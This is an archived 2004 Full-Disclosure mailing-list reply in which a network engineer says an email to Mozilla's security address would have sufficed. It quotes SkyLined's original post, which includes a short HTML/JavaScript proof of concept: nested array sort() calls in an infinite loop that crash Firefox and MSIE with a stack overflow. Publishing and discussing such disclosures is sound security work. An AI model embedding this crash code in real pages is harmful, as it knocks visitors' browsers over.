RE: [Full-Disclosure] FIREFOX flaws: nested array sort() loop Sta ck overflow exception

From: Randal, Phil (prandal_at_herefordshire.gov.uk)
Date: 11/25/04

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    To: Berend-Jan Wever <skylined@edup.tudelft.nl>, full-disclosure@lists.netsys.com, vuln-dev@securityfocus.com, bugtraq@securityfocus.com
    Date: Thu, 25 Nov 2004 09:49:32 -0000
    
    

    An email to security@mozilla.org would have sufficed.

    That email address can be found at
    http://www.mozilla.org/security/bug-bounty.html

    Phil

    ----
    Phil Randal
    Network Engineer
    Herefordshire Council
    Hereford, UK  
    > -----Original Message-----
    > From: full-disclosure-admin@lists.netsys.com 
    > [mailto:full-disclosure-admin@lists.netsys.com] On Behalf Of 
    > Berend-Jan Wever
    > Sent: 25 November 2004 01:05
    > To: full-disclosure@lists.netsys.com; 
    > vuln-dev@securityfocus.com; bugtraq@securityfocus.com
    > Subject: [Full-Disclosure] FIREFOX flaws: nested array sort() 
    > loop Stack overflow exception
    > 
    > Hi all,
    > 
    > Same flaw works for Firefox as well as MSIE:
    > 
    > <HTML>
    >   <SCRIPT> a = new Array(); while (1) { (a = new 
    > Array(a)).sort(); } </SCRIPT>
    >   <SCRIPT> a = new Array(); while (1) { (a = new 
    > Array(a)).sort(); } </SCRIPT> </HTML>
    > 
    > Added to the list: 
    > http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html
    > 
    > I'd have loved to CC mozilla about this, but I didn't have 
    > the time to do the crash course "how to write a bug report" 
    > and go through all that bugzilla crap.
    > 
    > Cheers,
    > SkyLined
    > http://www.edup.tudelft.nl/~bjwever
    > 
    > 
    > 
    > 
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